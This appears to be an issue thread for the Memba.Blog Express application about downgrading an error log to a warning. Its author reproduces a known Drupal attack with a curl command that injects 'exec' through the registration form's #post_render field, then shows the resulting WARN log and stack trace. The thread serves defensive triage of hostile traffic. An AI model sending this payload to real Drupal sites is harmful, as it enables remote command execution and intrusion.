Investigate CRITICAL error: We are sorry, but there is something wrong in your request. The URL may be misspelled.

[jlchereau]

The following should only be a WARN

[jlchereau]

This request is an attack targeting DRUPAL sites as documented at nixawk/labs#19

It can be reproduced using:

curl -d "form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=pri
ntf admin | md5sum" -X POST "http://localhost:3000/user/register?element_parents=account%2Fmail%2F%23value&ajax_form=1&_wrapper_format=drupal_ajax"

which produces a WARN in our development environment as expected:

[WARN]  application: Memba.Blog; message: We are sorry, the page you requested cannot be found. The URL may be misspelled or the page you're looking for is no longer available.; module: middleware/error; method: handler; url: /user/register?element_parents=account%2Fmail%2F%23value&ajax_form=1&_wrapper_format=drupal_ajax; query: {"element_parents":"account/mail/#value","ajax_form":"1","_wrapper_format":"drupal_ajax"}; ip: ::1; agent: curl/7.58.0; stack: ApplicationError: We are sorry, the page you requested cannot be found. The URL may be misspelled or the page you're looking for is no longer available., at handler (D:\WebStorm\Memba\Memba.Blog\webapp\middleware\notFound.js:32:18), at Layer.handle [as handle_request] (D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\layer.js:95:5), at trim_prefix (D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\index.js:317:13), at D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\index.js:284:7, at Function.process_params (D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\index.js:335:12), at next (D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\index.js:275:10), at module.exports (D:\WebStorm\Memba\Memba.Blog\webapp\middleware\extension.js:39:9), at Layer.handle [as handle_request] (D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\layer.js:95:5), at trim_prefix (D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\index.js:317:13), at D:\WebStorm\Memba\Memba.Blog\node_modules\express\lib\router\index.js:284:7

[jlchereau]

We have other requests that trigger a similar error: